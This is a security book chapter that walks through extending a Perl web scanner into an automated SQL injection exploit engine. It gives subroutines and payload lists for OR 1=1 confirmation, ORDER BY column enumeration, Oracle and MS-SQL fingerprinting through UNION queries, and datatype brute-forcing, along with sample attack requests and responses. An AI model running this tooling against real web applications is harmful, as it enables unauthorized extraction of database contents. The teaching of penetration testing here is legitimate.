Team LiB
Previous Section Next Section

9.2. The Exploit Scanner

The SQL injection scanner combines the best of both worlds by utilizing both error-based and blind SQL injection techniques in the exploit engine. The exploit engine extends the scanner written in the previous chapter, and it should be called once the scanner detects a potential SQL injection point.

9.2.1. Exploit Logic

In the previous chapter we developed a routine that inserts a single quote into each application parameter and inspects the associated response to determine if it contains a database-related error message. Although this routine detects error-based injection vulnerabilities, the new script will contain a modified routine that can also detect blind injection points using various OR 1=1 exploit strings. Once the injection point is identified, it attempts to craft a more powerful exploit that can be used to pull arbitrary data out of the database.

A UNION query is the most common way to leverage SQL injection for arbitrary data retrieval. A successful UNION exploit must follow certain syntax rules. Specifically, it must determine how many columns are in the original SQL query (a UNION query must contain the same number of columns as the query to which it is being appended). Also, the exploit must determine the appropriate datatype contained in each column (datatypes for each column in UNION queries must be the same). Due to query variations among database servers (i.e., target tables for sample exploits, datatype conversion methods, etc.), the exploit engine needs to detect the type of database server being exploited so that it can adapt the exploit queries accordingly.

The UNION exploit routine will employ a combination of blind SQL injection exploit techniques as well as traditional error-based techniques. The exploit steps and underlying process we will use to construct a blind UNION exploit are based on many of the techniques outlined in the "Blindfolded SQL Injection" whitepaper written by WebCohort (now Imperva). Although this approach is effective and reliable for constructing blind UNION exploits, you cannot apply it under all circumstances.

Because the blind approach doesn't work under all circumstances, we need to default to error-based injection techniques when the blind approach fails. The error-based approach relies on specific known database error messages returned by the application, which means we also need to be familiar with the various error messages each database server can return under these circumstances. We will use this approach only when the blind approach fails, because there is much more room for error or failure if an unexpected error message gets returned. Figure 9-1 shows an illustration of the overall exploit logic.

Figure 9-1. Visual representation of exploit logic


9.2.2. The Code

Now that we have provided a general overview of the logic flow that our exploit engine will implement, we can begin writing some code. As we mentioned before, we plan to extend the scanner developed in the previous chapter so that the exploit engine gets invoked when it detects a potential SQL injection point. We start by making a copy of simpleScanner.pl and calling it extendedScanner.pl.

The first thing we need to do is make some slight modifications to the existing code. For starters, we need to declare several variables used for testing before we move into the for loop on each input request. We do this so that we can reference these variables from within various subroutines without having to provide them as inputs to each routine. If you recall, the previous script declared a few variables and hashes before beginning any testing. Here are the original declarations:

my ($oRequest,$oResponse, $oStatus, %dirLog, %paramLog);

For the extended scanner, we simply add some variables and arrays to this list. Instead of explaining what each variable or array is used for right now, we will explain each one as we use it. For now, let's go ahead and modify the preceding line of code as follows:

my ($oRequest,$oResponse, $oStatus, %dirLog, %paramLog, $paramRequest, $sqlVuln, 
$sqlOrVuln, $sqlUnionVuln, $sqlColumnVuln, $sqlDataTypeVuln, $unionExploitRequest, 
@dbDataTypeArray, @dtCombinations, $sqlDbType);

Now that we have declared our new variables, let's move down to the parameter-based testing logic. You'll notice that we have declared the $paramRequest variable in the preceding code block. This variable was declared within the for loop on each input file entry and was not within the scope of our testing subroutines. For example, when simpleScanner.pl called its various testing subroutines (such as sqlTest), it passed the $paramRequest variable to each subroutine as an input variable. In the extended scanner, all our testing subroutines inherently have access to this variable. To compensate for this, we need to modify the line where $paramRequest was declared (within the parameter loop) to remove the my keyword:

     $paramRequest = $methodAndFile."?".$testData;

We leave most of the main script routine from simpleScanner.pl intact, but we need to add some additional subroutine calls between the existing calls to sqlTest and xssTest.

For discussion purposes, we provide sample request values to help you understand tests that the code is generating. You should assume the value of $paramRequest for all examples is:

GET /news.jsp?id=--PLACEHOLDER--&view=F


You'll recall that the scanner calls the sqlTest subroutine to test for a potential SQL injection point on a per-parameter basis. For reference, we have provided the original sqlTest routine here:

sub sqlTest {
 my ($sqlRequest, $sqlStatus, $sqlResults, $sqlVulnerable);
 ($sqlRequest) = @_;

 # Replace the "---PLACEHOLDER---" string with our test string
 $sqlRequest =~ s/---PLACEHOLDER---/te'st/;
 # Make the request and get the response data
 ($sqlStatus, $sqlResults) = makeRequest($sqlRequest);

 # Check to see if the output matches our vulnerability signature.
 my $sqlRegEx = qr /(OLE DB|SQL Server|Incorrect Syntax|ODBC Driver|ORA-|SQL 
command not|Oracle Error Code|CFQUERY|MySQL|Sybase| DB2 |Pervasive|Microsoft 
Access|MySQL|CLI Driver|The string constant beginning with|does not have an 
ending string delimiter|JET Database Engine error)/i;
 if (($sqlResults =~ $sqlRegEx) && ($oResponse !~ $sqlRegEx)) {
  $sqlVulnerable = 1;
  printReport("\n\nALERT: Database Error Message Detected:\n=> $sqlRequest\n\n");
 } else {
  $sqlVulnerable = 0;
 }
 # Return the test result indicator
 return $sqlVulnerable;
}

To properly extend the scanner to detect blind SQL injection vulnerabilities, we must modify the sqlTest routine to detect generic errors in addition to detailed SQL errors and to leverage the $paramRequest variable that is now within scope for this subroutine. Let's go ahead and walk through the modified sqlTest routine from the top:

sub sqlTest {
 my ($sqlRequest, $sqlStatus, $sqlResults, $sqlVulnerable)
 $sqlRequest = $paramRequest;

As you can see here, we still declare the same list of local variables and we have removed the reference to the input variable. To compensate for this, we assign $paramRequest to $sqlRequest so that subsequent routines can still access the unmodified $paramRequest variable. Next, we continue to build and make the test request just as we did before:

 # Replace the "---PLACEHOLDER---" string with our test string
 $sqlRequest =~ s/---PLACEHOLDER---/te'st/;
 # Make the request and get the response data
 ($sqlStatus, $sqlResults) = makeRequest($sqlRequest);

Now that we have made the request, we must determine whether it has invoked an error. Things happen a bit differently here than before because now we need to detect subtler errors. To do this, first we must decide what we consider to be a "potential" SQL injection point. For starters, we know that the same error messages we were previously checking for are also the best indication of a potential SQL injection point. In addition to these "standard" database errors, we also want to detect the presence of more "generic" error conditions that could indicate a potential SQL injection point. These generic errors can come in various forms:

  • A server response code of 500 (Server Error)

  • A generic error message such as "Unable to Process Request" or "An Error Has Occurred" in the response content

  • A very short or empty response (such as a zero-length response)

If we invoke a generic error we still need to do more testing to determine whether it actually is an injection point, so the goal of sqlTest is only to identify a potential SQL injection point, not to confirm it.

For our examples, assume the application server is configured to suppress all unhandled error message details and to return a standard "500Internal Server Error" message.


To allow for more generic error identification, all we do in this subroutine is flag the potential vulnerability, classify it based on the suspicious attribute we observe, and continue additional testing:

 # Check to see if the output matches our vulnerability signatures.
 if (($sqlResults =~ $sqlRegEx) && ($oResponse !~ $sqlRegEx)) {
  $sqlVulnerable = 1;
  printReport("\n\nALERT: Database Error Message Detected:\n=> $sqlRequest\n\n");
 } elsif (($sqlStatus =~ /^500/) && ($oStatus !~ /^500/)) {
  $sqlVulnerable = 2;
  printReport("\n\nALERT: 500 Error Code Detected:\n=> $sqlRequest\n\n");
 } elsif (($sqlResults =~ /error|unable to|cannot/i) && ($oResponse !~ /error|unable to/i)) {
  $sqlVulnerable = 3;
  printReport("\n\nALERT: Generic Error Message Detected:\n=> $sqlRequest\n\n");
 } elsif (length($sqlResults) < 100 && length($oResponse) > 100) {
  $sqlVulnerable = 4;
  printReport("\n\nALERT: Small Response Detected:\n=> $sqlRequest\n\n");
 } else {
  $sqlVulnerable = 0;
 }

As you can see here, we use the $sqlVulnerable variable (declared at the top of our script) to identify whether one of four possible error attributes was observed in the response. Table 9-1 provides a listing of each error attribute and its associated value ($sqlVulnerable).

Table 9-1. Error attributes and their associated values

$sqlVulnerable

Error classification

Classification criteria

1

Detailed database error

Database error message detected in the test response, but not in the original page response.

2

500 server error

500 status code returned in the test response, but not in the original page response.

3

Generic error message

Generic error message (string including unable to, error, or cannot) returned in the test response, but not in the original page response.

4

Small (length) response

Test response was 100 characters or less in length, and the original page response was greater than 100 characters in length.

0

No error

None of the error classification criteria were met.


The $sqlVulnerable value is referenced by virtually all the other SQL exploit routines in subsequent testing. If no error attribute is observed, the variable is set to 0. In either case, the value is returned and we close the subroutine:

 # Return the test result indicator
 return $sqlVulnerable;
}

At this point during execution, we return to the main script body to perform additional parameter-based tests.

The value returned by sqlTest in our example (and now assigned to $sqlVuln) is 2.


Because we are creating some new exploit routines, we need to add some logic to our main script body after the sqlTest routine finishes . Specifically, we check the value returned by sqlTest to determine if we should perform additional injection testing or simply continue with the remaining parameter-based tests. Recall that simpleScanner.pl made two consecutive parameter-based tests, one for SQL injection (sqlTest) and one for XSS (xssTest). The original parameter-based testing calls are shown here:

     ## Perform input validation tests
     my $sqlVuln = sqlTest($paramRequest);
     my $xssVuln = xssTest($paramRequest);

For our extended scanner, we need to include some additional logic between the two parameter testing subroutine calls. Because we modified sqlTest to not accept an input variable (as $paramRequest is now within scope for the subroutine), we modify the call to not pass an input variable:

     ## Perform input validation tests
     my $sqlVuln = &sqlTest;

The next step is to include some logic to check the value of $sqlVuln to determine whether additional injection testing needs to be performed. If the value of this variable is not 0, we call the first of our new exploit-related subroutines (sqlOrTest):

    if ($sqlVuln != 0) {
     $sqlOrVuln = &sqlOrTest;

The purpose of the sqlOrTest subroutine is to attempt a very simple exploit to confirm the "exploitability" of the injection point we identified.

9.2.2.1 sqlOrTest subroutine

We mentioned before that one of the simplest data read exploits appends OR 1=1 to the end of the original query to alter the WHERE criteria used by the query. For example, consider the following vulnerable code:

Sql = "SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CATID_ID=
  (SELECT CAT_ID FROM NEWS WHERE NEWS.NEWS_ID='" + request.getQueryString("id") + "')
   AND NEWS.ACTIVE='Y'"

The id request parameter is inserted within the query to return specific records based on the parameter value. The following request, when made by our web scanner, invokes an error that our scanner should recognize:

Request: http://www.myserver.com/news.jsp?id=te'st&view=F

If the application server is configured to return detailed error messages, the error should be recognized by sqlTest and the $sqlVuln variable is assigned a value of 1. If the application server is configured to suppress detailed error messages, or if the application is coded to handle errors gracefully, hopefully one of our generic error criteria is met and the $sqlVuln variable is assigned a value of 2, 3, or 4. The goal of the sqlOrTest routine is to make an exploit request that results in the absence of the error condition originally detected by sqlTest. Consider the following request to the page in the previous example:

Request: http://www.myserver.com/news.jsp?id=1')%20OR%20 ('1'='1&view=F
Resulting Query: SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CAT_ID=
  (SELECT CAT_ID FROM NEWS WHERE NEWS_ID='1') OR ('1'='1') AND ACTIVE='Y'

This request would result in the execution of a well-formed query against the application database. Because the query is well-formed, we would expect it to run successfully and not result in any type of error. Depending on how the page logic is constructed, it could display all the news stories contained within the table (because several records are likely to be returned by the query) or it might return only the first record contained in the dataset (if the page is expecting only a single record, it most likely would not loop through the entire dataset). The important point here is that in either case, the query runs successfully and does not result in an application error.

To automate an exploit for the preceding scenario, our exploit engine inserts several different OR 1=1 test strings in an attempt to make the application execute a well-formed query. The script knows whether the exploit was successful, because the response generated by a successful exploit request should not contain an error. Note that the previously shown exploit string does not include a trailing single quote after the last 1 because the application appends a single quote onto the end of the original query (along with some additional WHERE criteria). Although this exploit string creates a well-formed query, we should also keep in mind that many database servers support the double-hyphen (--) comment marker, which can also be appended to the end of an injection exploit string. As we mentioned before, utilizing the double hyphen allows for greater flexibility in developing a working exploit because any trailing SQL code appended by the application after our injected data is effectively ignored. For instance, consider the same example from before, but with the following request:

Request:  http://www.myserver.com/news.jsp?id=1')%20OR%20'1'='1'--&view=F
Resulting Query: SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CAT_ID=
  (SELECT CAT_ID FROM NEWS WHERE NEWS_ID=' 1')%20OR%20'1'='1'--') AND ACTIVE='Y'

This query would also run successfully, provided that the database server supports the double-hyphen comment marker. Because of this, we are sure to include several test strings in our OR 1=1 list that utilize the double hyphen at the end of the exploit string. Due to the relative simplicity of the OR 1=1 exploits, the exploit routines are not in any way database-specific and can be executed against almost any standard SQL-driven database.

For the purposes of our discussion, we use the SQL query and request from the previous example as a reference for providing sample values as though the script were executing. The value of $paramRequest in our examples is:

GET /news.jsp?id=--PLACEHOLDER--&view=F


Our sqlOrTest routine starts by declaring an array of potential exploit strings to insert into the vulnerable parameter:

sub sqlOrTest {
 my @sqlOrArray=(
  "1%20OR%20'1'%3D'1'--",
  "1'%20OR%201%3D1--",
  "1\)%20OR%20'1'%3D'1'--",
  "1'\)%20OR%201%3D1--",
  "1\)\)%20OR%20'1'%3D'1'--",
  "1'\)\)%20OR%201%3D1--",
  "1\)\)\)%20OR%20'1'%3D'1'--",
  "1'\)\)\)%20OR%201%3D1--",
  "%20OR%20'1'%3D'1'--",
  "'%20OR%201%3D1--",
  "1'%20OR%20'1'%3D'1",
  "1'%20OR%201%3D1",
  "1%20OR%20'1'%3D'1'",
  "1'\)%20OR%20\('1'%3D'1",
  "1'\)%20OR%20\(1%3D1",
  "1\)%20OR%20\('1'%3D'1'",
  "1'\)\)%20OR%20\(\('1'%3D'1",
  "1'\)\)%20OR%20\(\(1%3D1",
  "1\)\)%20OROR%20\(\('1'%3D'1'",
  "1'\)\)\)%20OR%20\(\(\('1'%3D'1",
  "1'\)\)\)%20OR%20\(\(\(1%3D1",
  "1\)\)\)%20OR%20\(\(\('1'%3D'1'"
 );

As you can see, there are several potential exploit strings. The first several strings in the array utilize the double hyphen because we prefer to use one of these strings for maximum flexibility. The second half of these exploit strings is designed to make a well-formed query without using the double hyphen by attempting to incorporate additional SQL code appended to the injected value.

Next, we declare the $sqlOrSuccess variable with a value of false. This variable will eventually contain one of our test strings if we detect that the test string has resulted in a successful exploit. As we loop through the array of test strings, we replace the vulnerable parameter with the test string value and make the test request. Note that we perform the test request only if the $sqlOrSuccess variable is still set to false:

my $sqlOrSuccess = "false";
 foreach my $sqlOr (@sqlOrArray) {
  if ($sqlOrSuccess eq "false") {

   # Replace the "---PLACEHOLDER---" string with our test string
   my $sqlOrTest = $paramRequest;
   $sqlOrTest =~ s/---PLACEHOLDER---/$sqlOr/;

   # Make the request and get the response data
   my ($sqlOrStatus, $sqlOrResults) = makeRequest($sqlOrTest);

Once we make each test request, we check to see if the response contained the error condition detected by the sqlTest subroutine. For cases in which the value is 1, we are already fairly certain that a potential SQL injection vulnerability exists. As such, this subroutine serves primarily to confirm the exposure's exploitability. For cases in which the value is 2, 3, or 4, we are still uncertain as to the exact nature of the error because we do not have any indication that the vulnerability is in fact due to an SQL error. In these cases, this subroutine is critical for confirming that the error is in fact an SQL injection point:

   if (($sqlOrResults !~ $sqlRegEx && $sqlVuln == 1) || ($sqlOrStatus !~ /^500/ && $sqlVuln == 2) || ($sqlOrResults !~ /error|unable to|cannot/i && $sqlVuln == 3) || (length($sqlOrResults) > 100 && $sqlVuln == 4)) {
    $sqlOrSuccess = $sqlOr;
    printReport("\n\nALERT: Possible SQL Injection Exploit:\n=> $sqlOrTest\n\n");
   }

If the exploit appears to have succeeded (the error condition is absent), we assign the successful test string to the $sqlOrSuccess variable and print a message to the user. Subsequent exploit tests within this subroutine are not performed now that the $sqlOrSuccess variable is no longer set to false. Finally, we close the if statement and for loops and return the $sqlOrSuccess variable:

  }
 }
 return $sqlOrSuccess;
}

Table 9-2 lists the test requests made by this subroutine for our example.

Table 9-2. Test requests and responses

Test request

Response

GET /news.jsp?id=1%20OR%20'1'%3D'1'--&view=F

500 Server Error

GET /news.jsp?id=1'%20OR%201%3D1--&view=F

500 Server Error

GET /news.jsp?id=1)%20OR%20'1'%3D'1'--&view=F

500 Server Error

GET /news.jsp?id=1')%20OR%201%3D1--&view=F

200 OK


Now that the sqlOrTest subroutine is complete, we move back up to the main script body and continue execution. At this point in our main script body, we must determine whether the sqlOrTest routine was successful. We know from looking at the subroutine code that the value returned contains a test string if the subroutine was successful; otherwise, it returns the word false. Our next step is to check the value of $sqlOrVuln and continue performing SQL testing if it is not equal to false:

      if ($sqlOrVuln ne "false") {

If the value is equal to false, we skip the remaining SQL tests and continue with the next parameter-based test routine (XSS in this case). Otherwise, we perform additional SQL injection-related exploit tests.

For our example, the value of $sqlOrVuln is:


1')%20OR%201%3D1--

Now we must decide whether to initiate the blind SQL injection exploit routines or skip directly to the error-based routines. As we mentioned during our logic overview, the methodology used by our blind routines will be effective only when the exploit string utilizes the double-hyphen (--) comment marker. If the $sqlOrVuln variable ends with the -- character sequence, we call the first of two blind injection routines (sqlBlindColumnTest):

       if ($sqlOrVuln =~ /--$/) {
        $sqlColumnVuln = &sqlBlindColumnTest;

The purpose of the first blind testing routine is to brute-force the number of columns in the original SQL query so that we can exploit the vulnerability with a UNION query. Because this routine is called for both blind and error-based injection points, it cannot rely on any database-specific error messages. This routine simply takes the exploit string used by sqlOrTest (currently assigned to $sqlOrVuln) and appends the ORDER BY keyword followed by a column number (incrementing from 1 to a predetermined upper limit) to determine the number of columns in the SQL query. Provided that we are specifying a valid column number, the error condition detected by sqlTest should not be present. As we increment the ORDER BY value, we know when we exceed the number of columns in the SQL query because the error condition detected by sqlTest returns. This error is due to an invalid column position specified in the query's ORDER BY clause.

9.2.2.2 sqlBlindColumnTest subroutine

We start this subroutine by declaring two variables. The first ($sqlBlindNumCols) is the column counter we increment during testing. The second ($sqlBlindColumnSuccess) is the variable we use to track whether the routine is successful in determining the correct number of query columns. Just as we did in the sqlOrTest routine, we initially set this value to false, and we assign the number of columns in the query to this variable only when we detect that the column number enumeration has been successful:

sub sqlBlindColumnTest {
 my $sqlBlindNumCols = 1;
 my $sqlBlindColumnSuccess = "false";

Next, we start our testing loop. For each loop iteration, we construct the same request used in the successful OR 1=1 test, but we remove everything after the word OR and replace it with the ORDER BY keyword, followed by the value of $sqlBlindNumCols. We do this to preserve the character sequence necessary to properly close off the original query ('1) in our example) to make the query well-formed:

do {
  my $sqlBlindColumnString = $sqlOrVuln;
  my $sqlBlindColumnTest = $paramRequest;
  
  $sqlBlindColumnString =~ s/%20OR%20.*--/%20ORDER%20BY%20$sqlBlindNumCols--/;
  $sqlBlindColumnTest =~ s/---PLACEHOLDER---/$sqlBlindColumnString/;

Then we make the test request and inspect the response to determine if the error condition detected by sqlOrTest is present (again, based on the value of the $sqlVuln variable):

  # Make the request and get the response data
  my ($sqlBlindColumnStatus, $sqlBlindColumnResults) = makeRequest($sqlBlindColumnTest);
      
  if (($sqlBlindColumnResults =~ $sqlRegEx && $sqlVuln == 1) || ($sqlBlindColumnStatus =~ /^500/ && $sqlVuln == 2) || ($sqlBlindColumnResults =~ /error|unable to/i && $sqlVuln == 3) || (length($sqlBlindColumnResults) < 100 && $sqlVuln == 4)) {
   $sqlBlindColumnSuccess = $sqlBlindColumnTest;
  } else {
   $sqlBlindNumCols++;
  }
 } until (($sqlBlindColumnSuccess ne "false") || ($sqlBlindNumCols > 200));

As you can see, if we detect that an error has occurred, we know we have exceeded the column count in the original query. We assign the current test request to the $sqlBlindColumnSuccess variable to end the loop; otherwise, we increment the counter variable and continue. Note that the loop is performed until either the $sqlBlindColumnSuccess variable is not equal to false (indicating success) or the counter variable ($sqlBlindNumCols) exceeds 200. We use 200 as our maximum column limit because we do not want this test routine to continue indefinitely if the routine ultimately does not detect an error. Table 9-3 lists the requests made by this subroutine in our example.

Table 9-3. Blind column enumeration requests and results

Test request

Response

GET /news.jsp?id=1')%20ORDER%20BY%201--&view=F

200 OK

GET /news.jsp?id=1')%20ORDER%20BY%202--&view=F

200 OK

GET /news.jsp?id=1')%20ORDER%20BY%203--&view=F

500 Server Error


Once our loop completes, we check to see that the $sqlBlindColumnSuccess variable is no longer set to false, and that the column counter is greater than 2. If so, we return the number of columns in the query (which is actually one less than the current column counter value); otherwise, we return 0, indicating that the routine was not successful. The reason for the second check ($sqlBlindNumCols > 2) is that because we know the query must have at least one column, the ORDER BY 1 test request should never result in an error. If it does, there's likely a problem with our exploit syntax, so we consider it a false positive and return a failed status (0):

if (($sqlBlindColumnSuccess ne "false") && ($sqlBlindNumCols > 2)) {
  return $sqlBlindNumCols-1;
 } else {
  return 0;
 }
}

Once we have determined the correct number of columns in the original query, we must determine the correct datatype for each column in the query.

For our example, the value of $sqlColumnVuln is now 2.


Moving back to the main script body, we need to check that the previous subroutine was successful (based on the $sqlColumnVuln variable). If it wasn't, we move on to the error-based UNION routines to make a second attempt at column number enumeration (more on that in a few minutes). If the previous subroutine was successful (if the $sqlColumnVuln variable was not set to 0), we call the second of our two blind UNION routines (sqlBlindDataTypeTest):

        if ($sqlColumnVuln != 0) {
         $sqlDataTypeVuln = &sqlBlindDataTypeTest;

Up to this point, none of our test routines has been database-specific. In other words, all the tests we have performed should work in the same way, regardless of whether the database was a Microsoft SQL Server or an Oracle database server. For the next test routine, we must detect the type of database server we are exploiting to adjust our test requests accordingly. Specifically, we need two pieces of information for each database server we want to test:

  • A default "world-readable" table name to attempt to query

  • A list of common datatypes (and associated conversion functions)

We already decided we would support both Oracle and Microsoft SQL Server for our extended scanner. As such, these are the only two databases for which we need this information. We define a hash containing the database-specific data at the top of our script in the same place where we declared our initial variables a while back. Keep in mind that we might not need to include every datatype the server supports because many of them are not commonly used and some datatypes can automatically convert to others. For Oracle, we use the CHAR, NUMBER, and DATE datatypes, and the ALL_TABLES table as our default world-readable table. For Microsoft SQL Server, we use the VARCHAR and INT datatypes (Microsoft SQL Server is much more lenient with respect to auto conversion of datatypes than Oracle), and the MASTER..SYSDATABASES table as our default world-readable table. The hash defined at the top of our script should look something like the following:

my %databaseInfo;

# MS-SQL
$databaseInfo{mssql}{tableName} = "MASTER\.\.SYSDATABASES";
$databaseInfo{mssql}{dataTypes} = ["CONVERT(VARCHAR,1)","CONVERT(INT,1)"];

# Oracle
$databaseInfo{oracle}{tableName} = "ALL_TABLES";
$databaseInfo{oracle}{dataTypes} = ["TO_CHAR(1)","TO_NUMBER(1)","TO_DATE('01','MM')"];

The goal here is to construct a well-formed UNION query to the specified table name and to have explicit datatypes in each column position. We won't bother querying the actual field names in each database, because we can plug the converted datatype string into the column position as a literal value and have the query execute properly. Now that we have our database-specific information in the hash, we can go ahead and start coding the next subroutine.

9.2.2.3 sqlBlindDataTypeTest subroutine

We mentioned before that the first thing this subroutine attempts to do is to detect the type of database we are exploiting.

For the purposes of our example, the database server we are currently exploiting is Oracle 9i.


The $sqlDbType variable was declared along with several other variables at the beginning of our script. We assign this variable a value of unknown and once (if ) the database server is detected, we populate it with the database server type. To detect the database, we loop through each key in the %databaseInfo hash (essentially a list of the database servers we are supporting) and attempt to make a query to the world-readable table defined for that database:

sub sqlBlindDataTypeTest {
 $sqlDbType = "unknown";
 foreach my $databaseName (keys %databaseInfo) {
  my $sqlBlindDbDetectTest = $paramRequest;
  my $sqlBlindDbDetectString = $sqlOrVuln;

Because we already know the number of columns in the query, we build the UNION query with "null" values in each column position instead of actual field names or literal strings. It should be noted that most versions of Microsoft SQL Server, and only Oracle versions 9 and above, support null values. The null values are really just placeholders that will be replaced with converted datatype strings later on. Just as we did with the ORDER BY queries, we use the successful OR 1=1 exploit string to determine the proper SQL code that needs to preface the UNION query (note that again we replace everything after the word OR):

 my $sqlBlindDbDetectUnion = "%20UNION%20ALL%20SELECT%20null".",null" x 
($sqlColumnVuln-1)."%20FROM%20$databaseInfo{$databaseName}{tableName}--";
 $sqlBlindDbDetectString =~ s/%20OR%20.*--/$sqlBlindDbDetectUnion/;
 $sqlBlindDbDetectTest =~ s/---PLACEHOLDER---/$sqlBlindDbDetectString/;

We assume that only one of these queries can run successfully because the default table we are using for each database should not exist unless it is the specific database server we are attempting to identify. After each request, we check to see if it resulted in the appropriate error condition based on the $sqlVuln variable value. If the error is not present, we assign the current hash key value (the $databaseName variable) to the $sqlDbType variable:

  my ($sqlBlindDbDetectStatus, $sqlBlindDbDetectResults) = 
makeRequest($sqlBlindDbDetectTest);
  if (($sqlBlindDbDetectResults !~ $sqlRegEx && $sqlVuln == 1) || 
($sqlBlindDbDetectStatus !~ /^500/ && $sqlVuln == 2) || 
($sqlBlindDbDetectResults !~ /error|unable to/i && $sqlVuln == 3) || 
(length($sqlBlindDbDetectResults) > 100 && $sqlVuln == 4)) {
   $sqlDbType = $databaseName;
  }
 }

At this point the database should be successfully identified and the name of the appropriate database server should be assigned to the $sqlDbType variable. Table 9-4 lists requests this subroutine has made thus far.

Table 9-4. Blind database server detection requests and results

Test request

Response

GET /news.jsp?id=1')%20UNION%20SELECT%20null,null %20FROM%20MASTER..SYSDATABASES--&view=F

500 Server Error

GET /news.jsp?id=1')%20UNION%20SELECT%20null,null %20FROM%20ALL_TABLES--&view=F

200 OK


Now that we have attempted to identify the database server, we will attempt to determine the proper datatypes for each column in the query.

For the purposes of our example, the first column in the original query is of the Oracle NUMBER datatype, and the second column in the query is of the Oracle VARCHAR datatype.


We assign the $sqlBlindDataTypeSuccess variable (declared at the top of our script) a value of false before starting the datatype enumeration routine. Like our last two subroutines, this is the value that ultimately will be used to determine the routine's success or failure. We change its value only once our datatype enumeration is successful for all query columns. Before we begin blind datatype testing, we need to make sure the database server has been identified. If it hasn't, we cannot continue testing with this routine because we do not have a valid table name to use in the UNION query (we will get an error on every exploit attempt, so our testing will not be successful):

 my $sqlBlindDataTypeSuccess = "false";
 if ($sqlDbType ne "unknown") {

Provided we have successfully detected our database server, we declare a column position counter to move through each column position in the query, one at a time (starting with the first and moving to the right). We also declare an array containing a value for each column in the query and initially assign each a value of null:

  my $sqlBlindColumnPos = 0;
  my @columns = ( );
  for ($sqlBlindColumnPos = 0; $sqlBlindColumnPos < $sqlColumnVuln; $sqlBlindColumnPos++) {
   $columns[$sqlBlindColumnPos] = "null";
  }

Next, we declare a second counter variable to track which datatypes we tested for each column position. Recall that we created an array within the %databaseInfo hash that contains the datatype conversion strings used to test each datatype. We are tracking the positions within this array with the second counter variable ($sqlBlindDataTypePos). This value starts over at 0 as we begin testing each column position:

  my $sqlBlindDataTypePos = 0;

Now we are ready to start our datatype testing loops. One by one, we iterate through each column position (left to right) in our query, and for each position we perform another loop through the datatype array (each datatype conversion string) until we issue a request that does not generate an error. Again, we use the same substitution technique we used to build the database detection request:

  do { 
   $columns[$sqlBlindColumnPos] = $databaseInfo{$sqlDbType}{dataTypes}
[$sqlBlindDataTypePos];
   my $dataTypeCombo = join(",",@columns);
   
   my $sqlBlindDataTypeTest = $paramRequest;
   my $sqlBlindDataTypeString = $sqlOrVuln;
   my $sqlBlindDataTypeUnion = "%20UNION%20ALL%20SELECT%20$dataTypeCombo
%20FROM%20$databaseInfo{$sqlDbType}{tableName}--";
   $sqlBlindDataTypeString =~ s/%20OR%20.*--/$sqlBlindDataTypeUnion/;
   $sqlBlindDataTypeTest =~ s/---PLACEHOLDER---/$sqlBlindDataTypeString/;
   my ($sqlBlindDataTypeStatus, $sqlBlindDataTypeResults) = 
makeRequest($sqlBlindDataTypeTest);

After each request, we declare the $dataTypeFieldSuccess variable with a value of 0 and inspect the response to see if it contains the appropriate error (based on the value of the $sqlVuln variable). If an error is present, we set the $dataTypeFieldSuccess variable to 1; otherwise it remains at 0:

   my $dataTypeFieldSuccess = 0;
   if (($sqlBlindDataTypeResults !~ $sqlRegEx && $sqlVuln == 1) || ($sqlBlindDataTypeStatus !~ /^500/ && $sqlVuln == 2) || ($sqlBlindDataTypeResults !~ /error|unable to/i && $sqlVuln == 3) || (length($sqlBlindDataTypeResults) > 100 && $sqlVuln == 4)) {
    $dataTypeFieldSuccess = 1;
   }

If the $dataTypeFieldSuccess variable is equal to 1, we have identified the correct datatype for the current column position, so we increment the column position counter ($sqlBlindColumnPos) and reset the datatype array counter ($sqlBlindDataTypePos) to 0:

   if ($dataTypeFieldSuccess == 1) {
    $sqlBlindColumnPos++;
    $sqlBlindDataTypePos = 0;

At this point, we also check to see if our column counter ($sqlBlindColumnPos) is equal to the number of columns in the UNION query. If it is, we are finished detecting the datatype on each column; otherwise, we must continue to the next column. Note that we compared the $sqlBlindColumnPos and $sqlColumnVuln variables after we incremented $sqlBlindColumnPos by 1. Because the $sqlBlindColumnPos variable is monitoring array positions (which start at 0), it is actually always one less than the true column number it is testing (column number one is in array position zero, etc.):

    if ($sqlBlindColumnPos == $sqlColumnVuln) {
     $sqlBlindDataTypeSuccess = "true";
     printReport("\n\nALERT: Possible SQL Injection Exploit:\n=> $sqlBlindDataTypeTest\n\n");
    }

If $dataTypeFieldSuccess is not equal to 1, we must increment the datatype position counter ($sqlBlindDataTypePos) and test the same column again using the next datatype in the array:

   } else {
    $sqlBlindDataTypePos++;
    if ($sqlBlindDataTypePos > $#{$databaseInfo{$sqlDbType}{dataTypes}}) {
     $sqlBlindDataTypeSuccess = "error";
    }
   }

Also note here that we check to make sure the datatype position counter is not greater than the total number of members in the datatype array itself ($#{$databaseInfo{$sqlDbType}{dataTypes}}). If it is, we have tested every datatype in the array for this column without success, so we assign a value of error to the $sqlBlindDataTypeSuccess variable, which causes the loop to end immediately.

The loop continues to run until the $sqlBlindDataTypeSuccess variable is not equal to false (essentially until it is set to either true or error). After the loop exits, we return the $sqlBlindDataTypeSuccess value and close the subroutine:

  } until ($sqlBlindDataTypeSuccess ne "false"); 
 }
 return $sqlBlindDataTypeSuccess;
}

Table 9-5 lists the example test requests our scanner made during the blind datatype enumeration phase of this routine.

Table 9-5. Example datatype enumeration requests

Test request

Response

GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_CHAR(1),null %20FROM%20ALL_TABLES--&view=F

500 Server Error

GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_NUMBER(1),null%20FROM%20ALL_TABLES--&view=F

200 OK

GET /news.jsp?id=1')%20UNION%20SELECT%20 TO_NUMBER(1), TO_CHAR(1)%20FROM%20 ALL_TABLES--&view=F

200 OK


Now that all our blind testing is finished, we will shift gears to the error-based testing routines. Moving back to the main script body, we close out the two open if statements before we begin the error-based logic. Let's look at all the main script body logic we have constructed thus far with respect to SQL injection testing:

     $sqlVuln = &sqlTest;
     if ($sqlVuln != 0) {
      $sqlOrVuln = &sqlOrTest;
      if ($sqlOrVuln ne "false") {
       if ($sqlOrVuln =~ /--$/) {
        $sqlColumnVuln = &sqlBlindColumnTest;
        if ($sqlColumnVuln != 0) {
         $sqlDataTypeVuln = &sqlBlindDataTypeTest;
        }
       }

